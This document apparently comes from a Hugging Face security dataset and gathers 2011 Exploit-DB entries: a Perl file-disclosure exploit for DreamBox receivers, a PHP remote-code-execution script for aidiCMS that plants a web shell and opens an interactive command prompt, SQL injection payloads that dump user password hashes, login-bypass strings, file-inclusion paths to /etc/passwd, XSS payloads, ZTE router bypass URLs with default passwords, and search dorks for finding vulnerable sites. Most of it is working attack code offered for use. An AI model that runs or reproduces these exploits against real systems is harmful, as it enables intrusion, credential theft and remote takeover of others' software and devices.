QLWD/code_shield huggingface dataset:
标题: DreamBox DM800 1.5rc1 - File Disclosure EDB-ID: 18079 CVE: 2011-4716 类型: REMOTE 平台: HARDWARE 发布日期: 2011-11-04 漏洞利用脚本: #!/usr/bin/perl
#  DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
#  Author: Todor Donev
#  Email: todor.donev@@gmail.com
#  Type: Hardware
#  Vuln Type: Remote
#####
#  Product summary: DreamBox DM800 is Powerful receiver 
#  for digital TV and Radio programs based on Linux.
#  Product web page: http://www.dream-multimedia-tv.de
#####
# playground$ perl dreambox.pl target /etc/passwd
# [+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
# root:<CENSORED>:0:0:root:/home/root:/bin/sh
# daemon:*:1:1:daemon:/usr/sbin:/bin/sh
# bin:*:2:2:bin:/bin:/bin/sh
# sys:*:3:3:sys:/dev:/bin/sh
# sync:*:4:65534:sync:/bin:/bin/sync
# games:*:5:60:games:/usr/games:/bin/sh
# man:*:6:12:man:/var/cache/man:/bin/sh
# lp:*:7:7:lp:/var/spool/lpd:/bin/sh
# mail:*:8:8:mail:/var/mail:/bin/sh
# news:*:9:9:news:/var/spool/news:/bin/sh
# uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
# proxy:*:13:13:proxy:/bin:/bin/sh
# www-data:*:33:33:www-data:/var/www:/bin/sh
# backup:*:34:34:backup:/var/backups:/bin/sh
# list:*:38:38:Mailing List Manager:/var/list:/bin/sh
# irc:*:39:39:ircd:/var/run/ircd:/bin/sh
# gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
# nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
# avahi:x:500:64002:Avahi:/var/run/avahi-daemon:/bin/sh
# ftp:x:501:64003:Linux User,,,:/var/tmp/ftp:/bin/false
# gbox:<CENSORED>:0:0::/:/bin/sh
#
# playground$
#####
#  Thanks to all my friends and special to the best Tsvetelina Emirska, 
#  that support and respect me !! =) 
#####
use LWP::Simple; 
print "[+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure\n";
$host = $ARGV[0];
$d = $ARGV[1];
if(! $ARGV[0]) {
print "[!] usg: perl dreambox.pl <host> </path/file>\n";
exit;
}
if(! $ARGV[1]) {
$d = "/etc/passwd";
}
## Edit here for exploitng DreamBox DM800 <= 1.6rc3 
# my $result = get("http://$host/file?file=$d"); 
## Greetings for ShellVision who found this bug in version 1.6rc3
my $result = get("http://$host/file/?file=$d");
if (defined $result) {
print "\n$result";
}
else {
print "[-] Not vuln.. =(";
} URL: https://www.exploit-db.com/exploits/18079
标题: aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution EDB-ID: 18085 CVE: 2011-4825 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-05 漏洞利用脚本: <?php

/*
    --------------------------------------------------------------------
    aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit
    --------------------------------------------------------------------
    
    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://code.google.com/p/aidicms/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability overview:
    
    aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
    
    [-] Disclosure timeline:
    
    [23/10/2011] - Vulnerability discovered
    [24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3
    [26/10/2011] - Project members contacted via e-mail
    [04/11/2011] - Still no response received
    [05/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------------+";
print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";
print "\n+-----------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /aidicms/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\naidicms-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?> URL: https://www.exploit-db.com/exploits/18085
标题: SetSeed CMS 5.8.20 - 'loggedInUser' SQL Injection EDB-ID: 18065 CVE: 2011-5116 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-02 漏洞利用脚本: SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability


Vendor: SetSeed
Product web page: http://www.setseed.com
Affected version: 5.8.20

Summary: SetSeed is a self-hosted CMS which lets you rapidly build
and deploy complete websites and online stores for your clients.

Desc: SetSeed CMS is vulnerable to SQL injection. A remote attacker
could send specially-crafted SQL statements to the vulnerable script
using the cookie input 'loggedInUser', which could allow the attacker
to view, add, modify or delete information in the back-end database.


Tested on: Microsoft Windows XP Pro SP3 (EN)
           Apache 2.2.21
           MySQL 5.5.16
           PHP 5.3.8


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5053
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5053.php



02.11.2011

---


GET /setseed-hub/ HTTP/1.1
Cookie: loggedInKey=PYNS9QVWLEBG1E7C9UFCT674DYNW9YJ; loggedInUser=1%27; PHPSESSID=d6qiobigb5204mkuvculibhgd4
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)


HTTP/1.1 200 OK
Date: Wed, 02 Nov 2011 15:39:39 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Content-Length: 150
Keep-Alive: timeout=5, max=62
Connection: Keep-Alive
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''1''' at line 1 URL: https://www.exploit-db.com/exploits/18065
标题: Web File Browser 0.4b14 - File Download EDB-ID: 18070 CVE: 2011-4831 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-03 漏洞利用脚本: Exploit Title: [Web File Browser 0.4b14 File Download Vulnerability]
# Date: [2011/11/03]
# Author: [Sangyun YOO]
# Email: yoosy0302 at naver dot com
# Software Link: [ http://downloads.sourceforge.net/project/webfilebrowser/webfilebrowser/0.4b14/webfilebrowser-0.4b14.zip ]
# Version: [Web File Browser 0.4b14]
# Tested on: [Windows 7 Starter K]
---------------------------------------
 
Using Paros Tool Request Message to the modulation of the Request Line ==>
 
GET http://192.168.0.189/webFileBrowser.php?act=download&subdir=&sortby=name&file=..%2f..%2f..%2f..%2f..%2f[localfile] HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/msword, */*
Accept-Language: ko
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: 192.168.0.189
Cookie: user=admin; loginkey=8d28703726be663cd5afb551bbb78be4; AJXP_LAST_KNOWN_VERSION=3.2.4; mx64B616EE8DEC99D3BFE053EAB04DC8=fcf2ad987a6db7670d4510ff9fa82a66; mx1B5F4F6EE7FC1C64773320E0BBE578=fe7c641b1a977587b5b6e0d355072a84; tab_usersconfig=0
 
 
===== Happy Hacking! ===== URL: https://www.exploit-db.com/exploits/18070
标题: jbShop e107 7 CMS Plugin - SQL Injection EDB-ID: 18056 CVE: 2011-5186 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-31 漏洞利用脚本: # Exploit Title: jbShop - e107 v7 CMS plugin - SQL Injection vulnerability
# Author: Robert Cooper (admin[at]websiteauditing.org)
# Software Link: http://sourceforge.net/projects/jbshop/
# Tested on: [Linux/Windows 7]
#Vulnerable Parameter:
 
item_id=

 
##############################################################
PoC:
 
http://www.example.com//plugins/jbshop/jbshop.php?item_details=1&item_id=-1 union all select group_concat(user_loginname,0x3a,user_password,0x3a,user_admin),2,3,4,5,6,7,8,9,10,11,12,13,14 FROM e107_user--

 
##############################################################
www.websiteauditing.org
www.areyousecure.net
 
# Shouts to the Belegit crew URL: https://www.exploit-db.com/exploits/18056
标题: Jara 1.6 - Multiple Vulnerabilities EDB-ID: 18069 CVE: 2011-4095 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-03 漏洞利用脚本: #!/Mohammed/bin/YahYa
# Jara v1.6 Multiple Vulnerabilities 
# -------------------------------------------[+]
# download : http://sourceforge.net/projects/jara/files/v1.6/jarav16.zip
# AutHOr   : Or4nG.M4n
# cOntAct  :  priv8te[at]hotmail.com
# versiOn  : v1.6
# Tested   : My Mind (:
# -------------------------------------------[+]
#
[ Exploit ] Sql injection ~ ~
|=> /category.php?id=999999.9'[Here]
# Vulnerable code : category.php
#  @$categoryid = $_REQUEST["id"]; <= [1]
#  $category = jara_get_category($categoryid); <=[2]
#  jara_page_start("Category: ".$category["title"]); <=[3]
#  $query = "select * from jara_posts where categoryid = '$categoryid'"; <=[4]
#  $result = jara_db_query($query); <=[5]
#
[ Exploit ] Auth Bypass ~
|=> admin ' or 1=1 # 
# Vulnerable code : auth_fns.php
#     function jara_user_authenticate($username, $password) { <=[1]
#  $query = "select * from jara_users where username = '$username' and password = SHA1('$password') limit 1"; <=[2]
#  $result = jara_db_query($query); <=[3]
#
[ Exploit ] Cross Site Scrpting ~
|=> POST : <h1>DDD<h1> => your xss Code
# Vulnerable code : search.php
#   $num_rows = $result->num_rows;
#   echo "<p><strong>$num_rows</strong> results for <strong>".stripslashes($term)."</strong>.</p>";
# ~ End
# -------------------------------------------[+]
#  Greet : sA^Dev!L , xSs m4n , Tryag Team 
# Cyb3r-Crystal , Dr.Banned [Miss u] , i-hmx
# -------------------------------------------[+] URL: https://www.exploit-db.com/exploits/18069
标题: ZTE ZXDSL 831IIV7.5.0a_Z29_OV - Multiple Vulnerabilities EDB-ID: 18061 CVE: 2012-4746 类型: WEBAPPS 平台: HARDWARE 发布日期: 2011-11-01 漏洞利用脚本: # Exploit Title: ZTE ZXDSL 831IIV7.5.0a_Z29_OV Multiple vulnerabilities
# Date: 28 / 10 / 2011 .
# Authors: Mehdi Boukazoula ; Ibrahim Debeche .
# Software Link with patch : 
# Version: v 831IIV7.5.0a_Z29_OV
# Tested on: v 831IIV7.5.0a_Z29_OV, May Affect all ZTE routers !!
# Description :

1 - Authentication bypass + Cross Site Request forgery
To bypass authentication go to URL : http://192.168.1.1/accessaccount.cgi
To get request forgery; The attacker can request from his browser without cookie or any authentication, or send link to the Administrator :
 
USER ACCOUNT : http://192.168.1.1/accessaccount.cgi?usrUserName=user&usrPassword=111111
ADMIN ACCOUNT : http://192.168.1.1/accessaccount.cgi?sysUserName=admin&sysPassword=111111

2 - Script revealing sensitive information on source of page "accessaccount.cgi":

function frmLoad()
{
   with ( document.forms.adminaccount ) {
      sysUserName.value = 'admin';
      sysPassword.value = '43210';
      syscfmPwd.value = '43210';
      
      usrUserName.value = 'user';
      usrPassword.value = '111111';
      usrcfmPwd.value = '111111';
   }
} URL: https://www.exploit-db.com/exploits/18061
标题: Joomla! Component Alameda 1.0 - SQL Injection EDB-ID: 18058 CVE: 2011-5112 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-31 漏洞利用脚本: [~] Joomla Component Alameda (com_alameda) SQL Injection Vulnerability 
[~] Author : kaMtiEz (kamtiez@exploit-id.com)                                
[~] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id 
[~] Date : 1 Nov , 2011                                                          
 
[ Software Information ]
 
[+] Vendor : http://www.blueflyingfish.com/alameda/
[+] INFO : http://extensions.joomla.org/extensions/e-commerce/e-commerce-bridges/18018
[+] Download : http://www.blueflyingfish.com/alameda/index.php?option=com_content&view=article&id=3
[+] version : 1.0 
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : - INDONESIA -
 
 
[ Vulnerable File ]
 
http://127.0.0.1/[kaMtiEz]/index.php?option=com_alameda&controller=comments&task=edit&storeid=1[SQL]

[ XpL ]
 
http://127.0.0.1/[kaMtiEz]/index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--

[ FIX ]
 
dunno :">
  
[ Thx TO ]
 
[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack,n4kuLa,t3ll0
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpret0,Dr. Cruzz
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,Caddy-Dz,pinpinbo dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D
 
[ NOTE ]

[+] Jika kau mengambil sebuah keputusan maka kau tidak boleh menyesalinya :-)
[+] be yourself ;)
 
[ QUOTE ]
 
[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/18058
标题: BST (BestShopPro) - 'nowosci.php' Multiple Vulnerabilities EDB-ID: 18063 CVE: 2011-4812 2011-4811 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-02 漏洞利用脚本: ################################################################################################
#  Exploit Title: BST - BestShopPro (nowosci.php) Multiple Vulnerabilities
#
#  Author : CoBRa_21 
#
#  E-Mail : uyku_cu [at] windowslive.com
#
#  Google Dork : "Powered By BST"
#
#  Script Page : http://www.bst.pl
################################################################################################
#
#  XSS:
#
#  http://127.0.0.1/nowosci.php?a=1&str=<script>alert(/CoBRa_21/)</script>
#
#  HTML:
#
#  http://127.0.0.1/nowosci.php?a=1&str=<font color=red size=15>CoBRa_21</font>
#
#  SQL :
#
#  http://127.0.0.1/pokaz_podkat.php?idkat=10&order1=1&str=' (SQL)
#
################################################################################################ URL: https://www.exploit-db.com/exploits/18063
标题: WordPress Theme classipress 3.1.4 - Persistent Cross-Site Scripting EDB-ID: 18053 CVE: 2011-5257 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-31 漏洞利用脚本: # Exploit Title: WordPress Classipress Theme <= 3.1.4 Stored XSS
# Date: 2011-09-26
# Author: Paul Loftness
# Contact:http://attackvectorlabs.blogspot.com
# Vendor: Appthemes LLc. 
# Product Web Page: http://www.appthemes.com/themes/classipress/
# Version: <=3.1.4
# Tested Versions: 3.1.4, 3.0.5.3

Summary:
-------------------------
ClassiPress is a popular and widely used classified ads software for WordPress. 

Description: 
-------------------------
Classipress is vulnerable to multiple stored XSS vulnerabilities.  Input through the POST parameters 'facebook_id' and 'twitter_id' in a registered user's profile page is either not sanitisized or poorly sanitised (version specific) allowing the attacker to insert Javascript code. 

In version 3.0.5.2 and presumably all previous versions, no sanitation is in place, allowing an attacker to insert code within a tag or to break out of it.  In version 3.1.4, the less-than character is sanitised but an attacker can still insert quotes and place an event handler in the tag.  


Proof-of-Concept Code:
-------------------------

Insertion page: http://example_site/author/profile/
Infected page : http://example_site/author/attacker_username/
Note: Some sites replace "author" with another path, this is not a vanilla configuration, however. 

Version: ClassiPress 3.0.5.2
Vulnerable Input Parameters:

 twitter_id:  " onmouseover="alert('XSS');
 facebook_id: " onmouseover="alert('XSS');
    Alternate Exploit code:
 twitter_id:  "><script>alert('XSS');</script><div id="
 facebook_id: "><script>alert('XSS');</script><div id="


Version: ClassiPress 3.1.4
Vulnerable Input Parameters:
 
 twitter_id:  " onmouseover='alert("XSS");'><
 facebook_id: " onmouseover='alert("XSS");'><


Timeline:
-------------------------
Vulnerability Discovered: 8/10/2011
Vulnerability Reported to Vendor: 9/1/2011
Patch Released with version 3.1.5: 10/7/2011 URL: https://www.exploit-db.com/exploits/18053
标题: CaupoShop Pro (2.x < 3.70) Classic 3.01 - Local File Inclusion EDB-ID: 18066 CVE: 2011-4832 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-02 漏洞利用脚本: CaupoShop Pro (2.x/ <= 3.70) Local File Include Vulnerability
-----------------------------------------------------------------------------------------
# Vuln Softwares :      CaupoShop Pro 2.x
       CaupoShop Classic 3.01 
       CaupoShop Pro 3.70
# Discovered By :  Rami Salama
#Contact :  eng.ramisalama_[at]_gmail_[dot]_com
# Vendor  :  http://www.caupo.net
# Greets To :  All my colleagues and friends in MCIT scholarship at Raya Academy
#Dorks :   "powered by CaupoShop"
     inurl:index.php?action=template&template

#Exploit  :   http://127.0.0.1/[CaupoShop]/index.php?action=template&template=[LFI]
#POC :  http://127.0.0.1/[CaupoShop]/index.php?action=template&template=../../../config.php
    http://127.0.0.1/[CaupoShop]/index.php?action=template&template=../../../../../../etc/passwd

#28 October 2011 - Egypt URL: https://www.exploit-db.com/exploits/18066
标题: Joomla! Component Vik Real Estate 1.0 - Multiple Vulnerabilities EDB-ID: 18048 CVE: 2011-4823 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-29 漏洞利用脚本: ###################################################################
Vik Real Estate 1.0 Component Joomla Multiple Blind Sql Injection
###################################################################

Release Date Bug.          27-Oct-2011
Date Added.                30-Sep-2011
Vendor Notification Date.  Never
Product.                   Vik Real Estate
Platform.                  Joomla
Affected versions.         1.0
Type.                      Commercial
Price.                     69.00
Attack Vector.             Blind Sql Injection
Solution Status.           unpublished
CVE reference.             Not yet assigned
Download                   http://www.extensionsforjoomla.com/vik-real-estate/joomla-extensions/vik-real-estate?vmcchk=1

I. BACKGROUND

Extension to manage real estates with details and description.
Main Functions:
- Manage Types of Contract (rental, selling, etc.)
- Condition of use (commercial, residential, etc.)
- Types of houses (apartment, villa, etc.)
- Manage Features (garden, garage, pool, etc. with icons)
- Manage States/Cities and Areas (New York City, Soho. Florence, Airport etc.)
Add real estates with description and images.
Search module included.

II. DESCRIPTION

Two vulnerabilities have been discovered in Vik Real Estate, joomla component,
the 2 vulnerabilities are blind injections (boolean-based time-based blind & blind)

The parameters affected are:
contract
imm

III. EXPLOITATION


parameter [contract]:

//index.php?option=com_vikrealestate&act=results&contract=1' AND 1=1 AND '666'='666&adibit=1&prov=1&area=_any&pricemin=_any&pricemax=_any&mqmin=0&mqmax=_any&type=_any&gores=Search

parameter [imm]:

//index.php?option=com_vikrealestate&act=show&imm=3' AND 1=1 AND '666'='666



Discovered by.
Chris Russell URL: https://www.exploit-db.com/exploits/18048
标题: Microsys PROMOTIC 8.1.4 - ActiveX GetPromoticSite Unitialized Pointer EDB-ID: 18049 CVE: 2011-4520 2011-4519 2011-4518 类型: DOS 平台: WINDOWS 发布日期: 2011-10-13 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Microsys PROMOTIC
              http://www.promotic.eu/en/promotic/scada-pm.htm
Versions:     8.1.4
Platforms:    Windows
Bug:          ActiveX GetPromoticSite unitialized pointer
Exploitation: remote
Date:         30 Oct 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"PROMOTIC is a complex SCADA object software tool for creating
applications that monitor, control and display technological processes
in various industrial areas. "


#######################################################################

======
2) Bug
======


Code execution through an unitialized pointer exploitable via the
GetPromoticSite method of the PmTable.ocx ActiveX
(19BA6EE6-4BB4-11D1-8085-0020AFC8C4AF).


Note that the ActiveX object could require the acknoledge of the user
for being executed.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/promotic_2.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18049.zip


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/18049
标题: Joomla! Component Techfolio 1.0 - SQL Injection EDB-ID: 18042 CVE: 2011-5113 类型: WEBAPPS 平台: PHP 发布日期: 2011-10-28 漏洞利用脚本: ###################################################################
Techfolio 1.0 Component Joomla SQL Injection
###################################################################

Release Date Bug.          27-Oct-2011
Date Added.                30-Sep-2011
Vendor Notification Date.  Never
Product.                   Techfolio
Platform.                  Joomla
Affected versions.         1.0
Type.                      Non-Commercial
Attack Vector.             Sql Injection
Solution Status.           unpublished
CVE reference.             Not yet assigned
Download.                  techdeluge.com/joomla-component/com_techfolio.zip


I. BACKGROUND

This component is made for portfolio purpose.
Its easy to integrate and easy to made custom design.
category based structure.
this is base component we are in process with upgrade version also.
with new feature and new functionality which is easy to integrate.
we will launch it within 10 days.

II. DESCRIPTION

discovered a vulnerability in Techfolio, joomla component,
vulnerability is SQL injection

The parameters affected are:
catid


III. ANALYSIS


file:
/com_techfolio/frontend/models/techfoliodetail.php

[29] $catid = $_GET['catid'];
[30]  if($catid!=''){
[31]   $data = "SELECT * FROM #__techfolio WHERE catid = ".$catid;
[32]  }else{
[33]   $data = "SELECT * FROM #__techfolio";
[34]  }
[35]  $db->setQuery( $data );
[36]  $data = $db->loadObjectList();
[37]
[38]  return $data;

query to the variable $catid is not filtered


IV.  EXPLOITATION


parameter [catid]:

//index.php?option=com_techfolio&view=techfoliodetail&catid=1[SQL]

[SQL]=injection sql



Discovered by.
Chris Russell URL: https://www.exploit-db.com/exploits/18042